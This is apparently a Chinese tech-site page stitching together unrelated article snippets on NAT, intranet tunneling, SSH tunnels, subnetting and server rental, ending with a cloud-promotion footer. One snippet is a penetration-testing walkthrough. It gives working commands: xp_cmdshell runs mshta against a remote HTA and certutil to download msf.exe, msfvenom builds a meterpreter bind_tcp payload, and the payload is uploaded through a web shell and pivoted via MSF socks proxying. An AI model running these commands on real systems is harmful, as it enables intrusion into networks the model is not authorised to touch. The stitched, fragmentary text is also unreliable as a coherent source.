前段时间研究了一下内网穿透，果真是一个神奇的技术，就拿企业级内网穿透-神卓互联来说，在需要在本地安装一个神卓互联客户端，简单设置一下服务应用的端口号，就可以将本地的服务映射到公网上进行远程访问，如图所示，完全不需要租用云服务器，本地有服务器就可以了，如图所示：
网上游戏主要有三种形式，一是大型的网络游戏（包括云游戏），二是网页游戏，三是单机游戏。这三种基本囊括了当下互联网主流的游戏形式，在网络游戏这种越来越流行的娱乐消遣活动的背后，支撑玩家游戏体验的主要是各种各样的游戏服务器。
云服务器是计算机虚拟技术不断提升的表现，同时也开启了服务器共享时代，企业无需购买主机也同样可以通过云服务器来享受到大型CPU内存运行的服务器使用权限。免去了购买主机的成本之外，也避免了后期需要专门的对服务器进行维护升级。正常的运行只需要选择符合网站所需的配置即可，那么如果注册安装了系统之后，怎么连接云服务器呢。
现在大多数做网站的企业，都会选择服务器租用业务来处理自身网站上的数据。而服务器租用的优劣也对用户网站的优化有着一定的影响。那么应该如何选择服务器租用业务呢？
01 NAT的作用 TITTLES （1）在一定程度上缓解 IP 地址空间枯竭的压力 （2）有效避免来自外网的攻击，可以很大程度上提高网络安全性（屏蔽私网 ip） （3）控制内网主机访问外网，同时也可以控制外网主机访问内网，解决了内网 和外网不能互通的问题 02 NAT工作原理 TITTLES （1）Basic NAT 方式属于一对一的地址转换，在这种方式下只转换 IP 地址，而不处理 TCP/UDP 协议的端口号，一个公网 IP 地址不能同时被多个私网用户使用
作者：韩冰https://zhuanlan.zhihu.com/p/89662757 本文已由作者授权，未经允许，不得二次转载
这是前文《网络层绕过IDS/IPS的一些探索》[1]的延续，当时就想可以用四层以下的协议实现木马通信绕过各类IDS/IPS的检测，一直没有找到时间测试，正好这次攻防演练值守期间有了机会。
子网掩码从字面上的理解就是一种子网的遮罩，也就是说单单从一个IP地址其实我们并不能够判断该地址的网络号与主机号是多少位。虽然我们知道A类、B类、C类地址有一个自己的区间范围，由此可以知道该类型网络的网络号与主机号是多少位，但这也是以子网掩码是默认值为前提的。
NAT虽然带来了不少的好处，但是也增加了端对端直接通信的难度，NAT使得端对端的通信方式在某些场景下只能通过中转服务器进行交互。
但是，工作和学习中，还是有很多时候需要用到公网的服务器，比如：临时的测试和计算需求等，以及一些特殊的情况。
Lcx是一个端口转发工具，有windows版和linux两个版本(linux版本名为protmap)
虚拟主机是很多用户建站的首选方案，这种方式是很多用户同时使用一个服务器，因此如果一个网站受到攻击，所有其它的网站都会受影响，所以空间的稳定性将大大降低。但是使用云服务器就没有这种情况，因为云服务器是一种集群式服务器。
在租用美国服务器时，很多朋友都会首选美国加州机房，这主要是因为加州位于美国西海岸，距离我国相对较近，所以访问起来速度比较快。知名的RAKsmart美国服务器就是位于加州机房，备受国内站长青睐。
lcx.exe是一个端口转发工具，有Windows版和Linux版两个版本，Windows版是lcx.exe,Linux版为portmap，
c#实现P2P文件分享与传输系统 二、设计 - 续（NAT穿透） 首先要抱歉，因为这些日子较忙，没有写文章，这个系列拖了很久，现在开始继续。 上一篇文章介绍了p2p系统Tracker Server和Peer，以及文件描述符，本篇接着讲NAT Server的部分。由于p2p网络中使用udp报文，所以只介绍udp穿透。 1. NAT类型 NAT（Network Address Translation, 网络地址转换），是指在IP包通过路由设备时，修改其IP地址信息的技术。一般应用是，通过将内网地址转
WebRTC 进行端对端进行实时音视频通讯时，常常一方或者双方都是隐藏在 NAT 之后的内网地址。ICE 则用于寻找一条传输数据通道连接。本文介绍了 NAT 穿越和 ICE 框架的基础知识和主要步骤。 我们知道使用 WebRTC 进行端对端进行实时音视频通讯时，WebRTC 本身是基于点对点（Peer-to-Peer）连接的，最便捷的方式就是通话的双方通过 IP 直连，摆脱原始的直播服务器中转的方式。 如果连接双方都是公网地址，则可以直接访问到对方，从而建立连接。但是在现实的应用场景中，大部分情况下其中一方
最近因为工作需要，要给生产环境的MySQL在云上搞灾备实例【 专有网络的VPC主机，×××专线太贵，走公网又不安全，暂时准备用ssh隧道跑着试试看】
最近遇到一个问题，就是过几天我需要离开学校，而且到时候仍然想登陆校园网里的一台服务器进行工作；但是我又没有校园网网关的操作权限，不能做端口映射，也不能搞到校园网内部主机的外网ip，而且学校自己提供的v**又根本没法用。研究了半天，总算找到了一个比较不错的利用反向ssh(reverse ssh tunnel)进行内网登陆的解决方案。
一个MSSQL非注入的场景：在内网扫描到一个MSSQL弱口令，支持xp_cmdshell，Administrator权限，但不能出网，DNS也出不了，那么我们该如何将文件落地到目标主机并执行上线呢？
这里的环境是我们已经入侵到web服务器，并且使用msf在web服务器中植入了木马，我们现在需要通过代理将web作为跳板入侵内网主机。
当我们通过代理可以进入某内网，需要对内网主机的服务进行探测。我们就可以使用MSF里面的内网主机探测模块了。
在获得一台内网跳板机权限之后，想让相同内网其他主机上线 MSF，由于只有跳板机可以出网，如何能让其他不出网主机通过跳板机上线 MSF 呢？
IP地址 是逻辑地址 用来确定一个网络中的一个节点，或者一个设备 两台主机通信，必须要有IP地址，32位二进制数，为了便于记忆，转换成10进制数，如 192.168.1.1 ，并且用点号分割，也称为点分十进制数 ---- 进制转换：二进制可以转10进制，10进制也能转二进制 第一种：余数定理 用168来除以2，等于为84，那么84显然可以被2整除，所以余数为0 再除以2，等于42，也可以整除，余数为0 再除以2，等于21，不可以被整除，那余数为1,21-1=20吧 那就20除以2，等于10，
IP地址是一串32比特的数字，按照8比特（1字节）为1组分成4组，分别用十进制表示再用圆点隔开，
Golem[GNT]团队近日在以太网上宣布推出期待已久的Golem测试版。作为是最期待的ICO项目之一，其旨在作为全球超级计算机来运行，且是全球多个计算机的组合，在单一网络中则被称为Golem [GNT]网络。 目前，Golem的测试版本已经推出，被称为“Golem Brass beta”。该团队正在努力改进其分散设置。 Golem专注于开源渲染软件Blender的计算机图形接口[CGI]渲染。它允许用户将他/她的笔记本电脑处理能力出租给任何需要它的人。CGI的渲染需要分散的超级计算机资源，预计会更便宜
在渗透测试中，当我们获得了外网服务器（如web服务器，ftp服务器，mali服务器等等）的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段，一般情况下，内网中的其他机器是不允许外网机器访问的。这时候，我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理，使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发。
声明：本人坚决反对利用文章内容进行恶意攻击行为，一切错误行为必将受到惩罚，绿色网络需要靠我们共同维护，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。
有客户因公司规模扩大，面临异地局域网的融合贯通问题，方法当然有很多种，但是比较急的情况下，需要一个临时的、快速的、低成本的解决方案。
公有地址（Public address）由Inter NIC（Internet Network Information Center 因特网信息中心）负责。这些IP地址分配给注册并向Inter NIC提出申请的组织机构。通过它直接访问因特网。
传统的C/S结构是每个客户端均知道中心化的SERVER，由客户端主动与SERVER进行通信。
如今企业的发展离不开互联网的支撑。而要进军互联网，服务器是不可缺少的资源，因为服务器是互联网应用技术应用的基础设施。但许多企业都在纠结于选择服务器托管、服务器租用，还是云主机租用。实际上我们可以根据具体的要求来选择。
自己对内网渗透搭建链路上很不熟练，乘着出差路上测试一下，有不当之处多多指正。好久不发文了，居然有付费阅读了，借此机会测试一下，内容比较粗糙，后期在全文发。相关工具在后台回复“01代理转发”可以获取下载链接。
在渗透测试过程中，我们经常会用到端口转发，利用代理脚本将内网的流量代理到本地进行访问，这样极大的方便了我们对内网进行横向渗透。最常见的端口转发工具不限于以下几款，大家可以根据在实际测试过程的需要进行选择。
在NAT路由器中会建立一个表，NAT转换表。这个表会记录对应的 内网地址 和 外网地址。
A和B进行通信，要是双方都在同一个网段内，那么最高效的通信方式就是双方通过内网进行连接，要想让双方进行内网链接，首先需要解决的就是如何让A和B知道对方是在同一个内网中。
对企业用户而言，选择一个适合自身企业发展的IDC运营商是至关重要的。然而有不少用户却对服务器的种类不了解，也不清楚究竟什么样子的服务器更加适合自身企业。今天企商小编整理了一部分有关服务器以及服务器租用、服务器托管业务的基础知识，希望能够帮助到将要选择服务器业务的企业用户。
现在我们有一台内网主机 A，在局域网内是可以访问的，但是如果我们现在不处在局域网内，可以选择 V** 连接，但这样其实并不太方便，所以本节我们来说明一下利用 SSH 反向隧道来实现访问内网主机的方法。 准备 首先我们需要有一台公网主机作为跳板，这台主机是可以公网访问的，我们将其命名为 B，它的 IP 假设为 10.10.10.10。 所以两台机器网络配置如下： A 内网机器 IP：192.168.1.2 SSH端口： 22 用户名：usera 密码：passworda 内网配置
EXEC master..xp_cmdshell 'mshta http://192.168.186.3:8080/yGwnzfy4cc.hta' 注意事项： 添加虚拟路由后配置hta_server模块选项时SRVHOST如果还用默认的0.0.0.0则生成URL的IP地址还是VPS的，所以在不出网主机上无法访问和执行，最终导致无法上线。 思路拓展： bind_tcp/reverse_tcp/reverse_tcp_rc4与hta_server的利用方式差不多，都要用到MSF虚拟路由，只是要重新生成/上传载荷文件。这种方式在某些不出网场景下“文件落地”可能是个麻烦事，不过在我们模拟的这个场景下可以利用这台可以出网的Web服务器来进行文件落地。 EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/msf.exe C:\ProgramData\msf.exe' 0x04 Socks代理 + Proxychains 我们先用autoroute模块自动添加虚拟路由，再用MSF中的Socks模块开一个Socks代理，设置选项可以不做修改，直接默认执行即可。MSF6已将socks4/5都集成到socks_proxy模块中了。 run post/multi/manage/autoroute bg use auxiliary/server/socks4a exploit Socks4代理开好后找到/etc/proxychains.conf配置文件，在底部填入127.0.0.1和1080端口，然后再用proxychains代理工具执行curl或nc验证下看是否已经代理成功？ proxychains curl http://192.168.186.4 proxychains nc -zv 192.168.186.4 1433 确定Socks代理没问题后再使用msfvenom生成一个bind_tcp载荷文件，通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。 msfvenom -p windows/x64/meterpreter/bind_tcp lport=443 -f exe > /var/www/html/bind.exe 另起一个命令终端用proxychains代理工具来启动msfconsole，配置好handler监听模块bind_tcp相关选项执行监听，在中国菜刀中利用xp_cmdshell组件执行bind.exe文件后即可上线。 流量走向：
首先发送一个TTL为1的UDP探测报文，源IP是本地，目的IP比如是114.114.114.114
虚拟主机——一般：租用白牌服务器故障率高、基本无ARP、木马和DDOS防范能力、基本无备机和数据备份服务
NAT英文全称是“Network Address Translation”，中文意思是“网络地址转换”，它是一个IETF(Internet Engineering Task Force, Internet工程任务组)标准，允许一个整体机构以一个公用IP（Internet Protocol）地址出现在Internet上。顾名思义，它是一种把内部私有网络地址（IP地址）翻译成合法网络IP地址的技术。因此我们可以认为，NAT在一定程度上，能够有效的解决公网地址不足的问题。
NAT 英文全称是 Network Address Translation，中文意思是“网络地址转换”;
服务器托管，是企业用户自行配置好服务器之后，再将服务器放置在IDC数据中心机房内，由专业运维人员提供技术支持。这叫服务器托管。
Moriarty Corp靶场环境包含一台外网服务器和三台内网主机，攻击者需先对外网服务器进行web攻击，依据提交flag后的提示信息，逐步获取内网主机权限。本次靶场环境包含以下10个关键部分：
该文讲述了如何使用iptables实现NAT代理上网，首先需要在两台服务器上配置网络环境，然后在一台服务器上开启内核路由转发功能，并添加SNAT规则，最后保存并重启iptables服务。验证是否可以正常上网，将iptables设置为开机自启动。
借位之后剩余的主机数位子网主机位， 子网主机位决定子网中的有效主机数 n=2的子网主机位次方
ssh隧道技术 1. 用ssh做正向连接 啥叫正向连接？就是client连上server，然后把server能访问的机器地址和端口（当然也包括server自己）镜像到client的端口上。 ssh -L [客户端IP或省略]:[客户端端口]:[服务器侧能访问的IP]:[服务器侧能访问的IP的端口] [登陆服务器的用户名@服务器IP] -p [服务器ssh服务端口（默认22）] 其中，客户端IP可以省略，省略的话就是127.0.0.1了，也就是说只能在客户端本地访问。服务器IP都可以用域名来代替。 举例说明：
如下图所示，右边橙色的主机是无法自动获取到IP地址的，因为当主机发送DHCP请求报文时，中间的路由器是不会转发该报文的，而是直接丢弃。解决办法是在路由器中配置DHCP服务器的IP地址使得该路由器成为DHCP的中继代理。
当然，iptbales不只可以设置默认规则，还可以手动加入很多规则。首先我们来看一下路由器的网卡配置：
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
